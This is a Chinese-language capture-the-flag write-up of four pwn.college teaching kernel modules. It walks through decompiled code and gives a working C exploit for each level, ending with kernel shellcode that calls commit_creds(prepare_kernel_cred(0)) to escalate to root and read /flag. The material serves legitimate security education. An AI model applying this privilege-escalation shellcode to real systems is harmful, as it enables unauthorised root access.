淺析一下幾道不算 kernel pwn 的 babykernel 題
題目來自:https://cse466.pwn.college/
level1_teaching1.ko
IDA 打開可以看到
看看初始化函數 init_module
int __cdecl init_module()
{
__int64 v0; // rbp
v0 = filp_open("/flag", 0LL, 0LL);
memset(flag, 0, sizeof(flag));
kernel_read(v0, flag, 128LL, v0 + 104);
filp_close(v0, 0LL);
proc_entry = (proc_dir_entry *)proc_create("pwncollege", 438LL, 0LL, &fops);
printk(&unk_950);
printk(&unk_758);
printk(&unk_950);
printk(&unk_780);
printk(&unk_7E8);
printk(&unk_848);
printk(&unk_898);
printk(&unk_956);
return 0;
}
其實就是
把 flag
文件讀入 flag
變量
使用 proc_create
創建虛擬 proc
文件 pwncollege
,這個文件會出現在 /proc/pwncollege
然后打印 banaer
既然是文件看看對應的文件操作函數
device_open
對應 open
文件時觸發的函數
device_write
對應 write
文件時觸發的函數
device_read
對應 read
文件時觸發的函數
device_open
int __fastcall device_open(inode *inode, file *file)
{
printk(&unk_6B0);
return 0;
}
unk_6B0: [device_open] inode=%px, file=%px
打印 pwncollege
文件的 inode
和 file
結構的地址
device_write
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // r12
v4 = length;
printk(&unk_6D8);
device_state[0] = (strncmp(buffer, "xmaguhfipptqlmvc", 0x10uLL) == 0) + 1;
return v4;
}
可以看到,對 /proc/pwncollege
進行寫入操作時會判斷輸入的東西是不是 xmaguhfipptqlmvc
如果輸入的東西前 16
字節是 xmaguhfipptqlmvc
,則 device_state[0] = 2
,因為 (strncmp(buffer, "xmaguhfipptqlmvc", 0x10uLL) == 0)
結果為真,運算結果等於 1
device_read
ssize_t __fastcall device_read(file *file, char *buffer, size_t length, loff_t *offset)
{
char *v4; // r12
size_t v5; // rbp
const char *v6; // rsi
signed __int64 v7; // rdx
unsigned __int64 v8; // rax
v4 = buffer;
v5 = length;
printk(&unk_718);
v6 = flag;
// 判斷 device_state[0],如果不等於 2 則不能通過檢查(陷入這個 if 就說明失敗)
if ( device_state[0] != 2 )
{
v6 = "device error: unknown state\n";
if ( device_state[0] <= 2 )
{
v6 = "password:\n";
if ( device_state[0] )
{
v6 = "device error: unknown state\n";
if ( device_state[0] == 1 )
{
device_state[0] = 0;
v6 = "invalid password\n";
}
}
}
}
v7 = v5; // v5 是讀取的長度
v8 = strlen(v6) + 1; // v8 存的是 buffer 的長度
if ( v8 - 1 <= v5 ) // 如果 buffer 可容納的數據長度小於要讀取得數據的長度
v7 = v8 - 1; // 只是把 buffer 填滿
return v8 - 1 - copy_to_user(v4, v6, v7); // 把 flag 拷貝到位於用戶態 buffer
}
思路
其實看完就很明確了,目標就是讓 device_state[0] == 2
只要用 write
往 /proc/pwncollege
文件寫入 xmaguhfipptqlmvc
,然后再使用 read
去讀,就能讀出 flag
payload:
#include <stdio.h>
#include <fcntl.h>
int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
char key[] = "xmaguhfipptqlmvc";
write(fd, key, sizeof(key));
read(fd, buffer, 100);
printf("%s\n", buffer);
close(fd);
return 0;
}
level2_teaching1.ko
IDA 打開
這下沒有 device_write
函數了,該怎么交互
用 ioctl
直接看
device_read
ssize_t __fastcall device_read(file *file, char *buffer, size_t length, loff_t *offset)
{
char *v4; // r12
size_t v5; // rbp
const char *v6; // rsi
signed __int64 v7; // rdx
unsigned __int64 v8; // rax
v4 = buffer;
v5 = length;
printk(&unk_4C8, file, buffer);
v6 = flag;
if ( device_state[0] != 2 )
{
v6 = "device error: unknown state\n";
if ( device_state[0] <= 2 )
{
v6 = "password:\n";
if ( device_state[0] )
{
v6 = "device error: unknown state\n";
if ( device_state[0] == 1 )
{
device_state[0] = 0;
v6 = "invalid password\n";
}
}
}
}
v7 = v5;
v8 = strlen(v6) + 1;
if ( v8 - 1 <= v5 )
v7 = v8 - 1;
return v8 - 1 - copy_to_user(v4, v6, v7);
}
其實邏輯跟 level1_teaching1.ko
的 device_read
是一樣的,也是檢查 device_state[0]
是不是等於 2
,等於 2
就給 flag
device_ioctl
其實除了使用 read
和 write
和內核模塊交互還有就是 ioctl
看一看 man 手冊:https://man7.org/linux/man-pages/man2/ioctl.2.html
__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
const char *v3; // rbp
__int64 result; // rax
v3 = (const char *)arg;
printk(&unk_498, file, cmd);
result = -1LL;
if ( cmd == 1337 ) // 如果 cmd 參數等於 1337
{
if ( !strncmp(v3, "fxdlbyszlixwsnjt", 0x10uLL) ) // 並且 arg 等於 fxdlbyszlixwsnjt 的話
device_state[0] = 2; // 標識可以拿到 flag
else
device_state[0] = 1;
result = 0LL;
}
return result;
}
ioctl 函數
#include <sys/ioctl.h>
int ioctl(int fd, unsigned long request, ...);
先用 open
打開文件得到文件描述符
調用 ioctl
時 fd
就是對應文件的 文件描述符
request
就是操作的操作碼
接下來就是可變參數,因為每個設備的 ioctl
是自己實現的,所以可以使用任意參數,在這里就是一個字符串指針,指向 fxdlbyszlixwsnjt
字符串
思路
好了,直接 寫 payload
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
int main() {
char buffer[100];
int fd = open("/proc/pwncollege", O_RDWR);
char key[] = "fxdlbyszlixwsnjt";
ioctl(fd, 1337, key);
read(fd, buffer, 100);
printf("%s\n", buffer);
close(fd);
return 0;
}
level3_teaching1.ko
這個挑戰去掉了 device_read
,多了一個 win
函數
其實 win
就是個后門函數
win
void __cdecl win()
{
printk(&unk_BCF, flag);
}
成功調用 win
函數就能拿到 flag
device_ioctl
__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 result; // rax
printk(&unk_980, file);
result = -1LL;
if ( cmd == 1337 )
{
_x86_indirect_thunk_rbx(&unk_980);
result = 0LL;
}
return result;
}
可以看到 操作碼為 1337
會調用 _x86_indirect_thunk_rbx
函數,這個是 kernel
里面的一個函數
#define DECL_INDIRECT_THUNK(reg) \
extern asmlinkage void __x86_indirect_thunk_ ## reg (void);
SYM_FUNC_START(__x86_indirect_thunk_\reg)
JMP_NOSPEC \reg
SYM_FUNC_END(__x86_indirect_thunk_\reg
其實展開其實差不多就是
void __x86_indirect_thunk_rbx (void) {
__asm__("jmp rbx");
}
想要了解細節自己去搜索 retpline
好了,扯遠了
_x86_indirect_thunk_rbx(&unk_980)
可以看成 jmp rbx
看匯編
ext.unlikely:00000000000008EC ; __int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
.text.unlikely:00000000000008EC device_ioctl proc near ; DATA XREF: .data:fops↓o
.text.unlikely:00000000000008EC file = rdi ; file *
.text.unlikely:00000000000008EC cmd = rsi ; unsigned int
.text.unlikely:00000000000008EC arg = rdx ; unsigned __int64
.text.unlikely:00000000000008EC push rbp
.text.unlikely:00000000000008ED mov rcx, arg
.text.unlikely:00000000000008F0 mov ebp, esi
.text.unlikely:00000000000008F2 cmd = rbp ; unsigned int
.text.unlikely:00000000000008F2 push rbx
.text.unlikely:00000000000008F3 mov rbx, arg
.text.unlikely:00000000000008F6 arg = rbx ; unsigned __int64
.text.unlikely:00000000000008F6 mov edx, esi
.text.unlikely:00000000000008F8 mov rsi, file
.text.unlikely:00000000000008FB mov file, offset unk_980
.text.unlikely:0000000000000902 call printk ; PIC mode
.text.unlikely:0000000000000907 or rax, 0FFFFFFFFFFFFFFFFh
.text.unlikely:000000000000090B cmp ebp, 539h
.text.unlikely:0000000000000911 jnz short loc_91A
.text.unlikely:0000000000000913 call __x86_indirect_thunk_rbx ; PIC mode
.text.unlikely:0000000000000918 xor eax, eax
.text.unlikely:000000000000091A
.text.unlikely:000000000000091A loc_91A: ; CODE XREF: device_ioctl+25↑j
.text.unlikely:000000000000091A pop arg
.text.unlikely:000000000000091B pop cmd
.text.unlikely:000000000000091C retn
.text.unlikely:000000000000091C device_ioctl endp
可以看到 0x00000000000008F2
其實 rbx
就是指向 arg
,執行到 call __x86_indirect_thunk_rbx
時相當於 jmp rbx
gef➤ disassemble __x86_indirect_thunk_rbx
Dump of assembler code for function __x86_indirect_thunk_rbx:
0xffffffff81e00ef0 <+0>: jmp rbx
0xffffffff81e00ef2 <+2>: nop
0xffffffff81e00ef3 <+3>: nop
0xffffffff81e00ef4 <+4>: nop
0xffffffff81e00ef5 <+5>: nop
0xffffffff81e00ef6 <+6>: nop
0xffffffff81e00ef7 <+7>: nop
0xffffffff81e00ef8 <+8>: nop
0xffffffff81e00ef9 <+9>: nop
0xffffffff81e00efa <+10>: nop
0xffffffff81e00efb <+11>: nop
0xffffffff81e00efc <+12>: nop
0xffffffff81e00efd <+13>: nop
0xffffffff81e00efe <+14>: nop
0xffffffff81e00eff <+15>: nop
0xffffffff81e00f00 <+16>: nop
如果我們輸入一個地址,那么執行時就是 jmp
到這個地址
現在我們就是要獲取 win
函數的地址,在這里沒有 kaslr
,可以直接讀取 /proc/kallsyms
獲得 win
函數的地址
插入內核模塊后,可以通過
/proc/kallsyms | grep win
得到 win
函數的地址 0xffffffffc000091d
寫 payload
#include <sys/ioctl.h>
#include <stdio.h>
#include <fcntl.h>
int main ()
{
int fd = open ("/proc/pwncollege", O_RDONLY);
ioctl (fd, 1337, 0xffffffffc000091d);
char flag[200];
read (fd, flag, 200);
printf ("%s\n", flag);
close (fd);
return 0;
}
level4_teaching1.ko
這個模塊只能使用 write
輸入數據,沒有可以讀取 flag
的函數,也沒有后門函數,咋辦?
device_write
ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rbx
signed __int64 v5; // rdx
unsigned __int8 *v6; // rdi
__int64 v7; // rbp
v4 = length;
printk(&unk_408);
v5 = 4096LL;
if ( v4 <= 4096 )
v5 = v4;
v6 = shellcode;
v7 = copy_from_user(shellcode, buffer, v5);
_x86_indirect_thunk_rax(v6);
return v4 - v7;
}
其實看反編譯不太明了,看匯編
.text.unlikely:000000000000035C ; ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
.text.unlikely:000000000000035C device_write proc near ; DATA XREF: .data:fops↓o
.text.unlikely:000000000000035C file = rdi ; file *
.text.unlikely:000000000000035C buffer = rsi ; const char *
.text.unlikely:000000000000035C length = rdx ; size_t
.text.unlikely:000000000000035C offset = rcx ; loff_t *
.text.unlikely:000000000000035C push rbp
.text.unlikely:000000000000035D mov r8, offset
.text.unlikely:0000000000000360 mov rbp, buffer
.text.unlikely:0000000000000363 buffer = rbp ; const char *
.text.unlikely:0000000000000363 mov offset, length
.text.unlikely:0000000000000366 push rbx
.text.unlikely:0000000000000367 mov rbx, length
.text.unlikely:000000000000036A length = rbx ; size_t
.text.unlikely:000000000000036A mov rdx, rsi
.text.unlikely:000000000000036D mov rsi, file
.text.unlikely:0000000000000370 mov file, offset unk_408
.text.unlikely:0000000000000377 call printk ; PIC mode
.text.unlikely:000000000000037C cmp length, 1000h
.text.unlikely:0000000000000383 mov edx, 1000h
.text.unlikely:0000000000000388 mov rsi, buffer # 這里會用 _copy_from_user 把我們輸入的東西放進 shellcode
.text.unlikely:000000000000038B cmovbe rdx, length
.text.unlikely:000000000000038F mov rdi, cs:shellcode
.text.unlikely:0000000000000396 call _copy_from_user ; PIC mode
.text.unlikely:000000000000039B mov buffer, rax
.text.unlikely:000000000000039E mov rax, cs:shellcode # 可以看到最終 rax 指向 shellcode
.text.unlikely:00000000000003A5 call __x86_indirect_thunk_rax ; PIC mode #jmp rax
.text.unlikely:00000000000003AA mov rax, length
.text.unlikely:00000000000003AD pop length
.text.unlikely:00000000000003AE length = rax ; size_t
.text.unlikely:00000000000003AE sub length, rbp
.text.unlikely:00000000000003B1 pop rbp
.text.unlikely:00000000000003B2
.text.unlikely:00000000000003B2 locret_3B2: ; DATA XREF: .orc_unwind_ip:00000000000006D1↓o
.text.unlikely:00000000000003B2 ; .orc_unwind_ip:00000000000006D5↓o ...
.text.unlikely:00000000000003B2 retn
.text.unlikely:00000000000003B2 device_write endp
思路
這個挑戰能輸入,不能輸出,我們要讀取 /flag
文件得到 flag
,但是我們只是普通權限,我們只能提權,怎么提權?
其實在內核里面有有個 cred
結構描述進程的權限
current->cred;
/*
* The security context of a task
*
* The parts of the context break down into two categories:
*
* (1) The objective context of a task. These parts are used when some other
* task is attempting to affect this one.
*
* (2) The subjective context. These details are used when the task is acting
* upon another object, be that a file, a task, a key or whatever.
*
* Note that some members of this structure belong to both categories - the
* LSM security pointer for instance.
*
* A task has two security pointers. task->real_cred points to the objective
* context that defines that task's actual details. The objective part of this
* context is used whenever that task is acted upon.
*
* task->cred points to the subjective context that defines the details of how
* that task is going to act upon another object. This may be overridden
* temporarily to point to another security context, but normally points to the
* same context as task->real_cred.
*/
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
// 就是下面這幾個了 uid gid 什么的,root 的 uid 和 gid 是 0
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
struct task_struct {
.......
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
.......
}
需要用到內核里面的兩個函數
prepare_kernel_cred
和 commit_creds
prepare_kernel_cred
函數能幫我們構造一個 cred
commit_creds
修改當前進程的 cred
淺析一下這兩個函數
prepare_kernel_cred
/**
* prepare_kernel_cred - Prepare a set of credentials for a kernel service
* @daemon: A userspace daemon to be used as a reference
*
* Prepare a set of credentials for a kernel service. This can then be used to
* override a task's own credentials so that work can be done on behalf of that
* task that requires a different subjective context.
*
* @daemon is used to provide a base for the security record, but can be NULL.
* If @daemon is supplied, then the security data will be derived from that;
* otherwise they'll be set to 0 and no groups, full capabilities and no keys.
*
* The caller may change these controls afterwards if desired.
*
* Returns the new credentials or NULL if out of memory.
*/
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
.......
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
.......
validate_creds(old);
*new = *old;
.......
put_cred(old);
validate_creds(new);
return new
}
這里可以看到的是 如果 參數 daemon
為 0
,則使用 init
進程的 cred
用作復制的模板,init
進程的 cred
,root!!!
#define GLOBAL_ROOT_UID KUIDT_INIT(0)
#define GLOBAL_ROOT_GID KGIDT_INIT(0)
/*
* The initial credentials for the initial task
*/
struct cred init_cred = {
.usage = ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
.subscribers = ATOMIC_INIT(2),
.magic = CRED_MAGIC,
#endif
.uid = GLOBAL_ROOT_UID,
.gid = GLOBAL_ROOT_GID,
.suid = GLOBAL_ROOT_UID,
.sgid = GLOBAL_ROOT_GID,
.euid = GLOBAL_ROOT_UID,
.egid = GLOBAL_ROOT_GID,
.fsuid = GLOBAL_ROOT_UID,
.fsgid = GLOBAL_ROOT_GID,
.securebits = SECUREBITS_DEFAULT,
.cap_inheritable = CAP_EMPTY_SET,
.cap_permitted = CAP_FULL_SET,
.cap_effective = CAP_FULL_SET,
.cap_bset = CAP_FULL_SET,
.user = INIT_USER,
.user_ns = &init_user_ns,
.group_info = &init_groups,
};
所以我們只要 prepare_kernel_cred (0)
就能得到一個 root
的 cred
commit_creds
/**
* commit_creds - Install new credentials upon the current task
* @new: The credentials to be assigned
*
* Install a new set of credentials to the current task, using RCU to replace
* the old set. Both the objective and the subjective credentials pointers are
* updated. This function may not be called if the subjective credentials are
* in an overridden state.
*
* This function eats the caller's reference to the new credentials.
*
* Always returns 0 thus allowing this function to be tail-called at the end
* of, say, sys_setgid().
*/
int commit_creds(struct cred *new)
{
struct task_struct *task = current; // task 指向當前進程的 task_struct 結構
const struct cred *old = task->real_cred;
......
validate_creds(old);
validate_creds(new);
......
get_cred(new); /* we will require a ref for the subj creds too */
......
/* do it
* RLIMIT_NPROC limits on user->processes have already been checked
* in set_user().
*/
alter_cred_subscribers(new, 2);
if (new->user != old->user)
atomic_inc(&new->user->processes);
rcu_assign_pointer(task->real_cred, new); // 修改 task 的 real_cred 為 new cred
rcu_assign_pointer(task->cred, new); // 修改 task 的 cred 為 new cred
......
/* release the old obj and subj refs both */
put_cred(old);
put_cred(old);
return 0;
}
EXPORT_SYMBOL(commit_creds);
好了,現在思路明了了,其實我們就是要調用 prepare_kernel_cred
得到一個 root
的 cred
,然后使用 commit_creds 修改當前進程的 cred,讓當前進程擁有 root 權限
commit_creds(prepare_kernel_cred (0));
怎么寫?
還是一樣,在這里沒有 kaslr
,可以直接讀取 /proc/kallsyms
獲取函數的地址
插入內核模塊后,可以通過
cat /proc/kallsyms | grep prepare_kernel_cred
cat /proc/kallsyms | grep commit_creds
prepare_kernel_cred
函數的地址 0xffffffff810881c0
commit_creds
函數的地址 0xffffffff81087e80
寫 payload
push rsi;
mov rsi, 0xffffffff810881c0;
push rdi;
xor rdi, rdi;
call rsi;
mov rdi, rax;
mov rsi, 0xffffffff81087e80;
call rsi;
pop rdi;
pop rsi;
ret;
我用 rasm2
編譯成字節碼
-a x86
x86架構
-b 64
64位cpu
-C
輸出為 c 語言格式
-f
從文件讀取
得到 shellcode
"\x56\x48\xbe\xc0\x81\x08\x81\xff\xff\xff\xff\x57\x48\x31\xff\xff\xd6\x48\x89\xc7" \
"\x48\xbe\x80\x7e\x08\x81\xff\xff\xff\xff\xff\xd6\x5f\x5e\xc3"
payload:
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
char shellcode[] = {
"\x56\x48\xbe\xc0\x81\x08\x81\xff\xff\xff\xff\x57\x48\x31\xff\xff\xd6\x48\x89\xc7" \
"\x48\xbe\x80\x7e\x08\x81\xff\xff\xff\xff\xff\xd6\x5f\x5e\xc3"
};
int main() {
printf("%s\n", shellcode);
int fd = open("/proc/pwncollege", O_WRONLY);
printf("%d\n", fd);
write(fd, shellcode, 50);
system("id");
system("cat /flag");
return 0;
}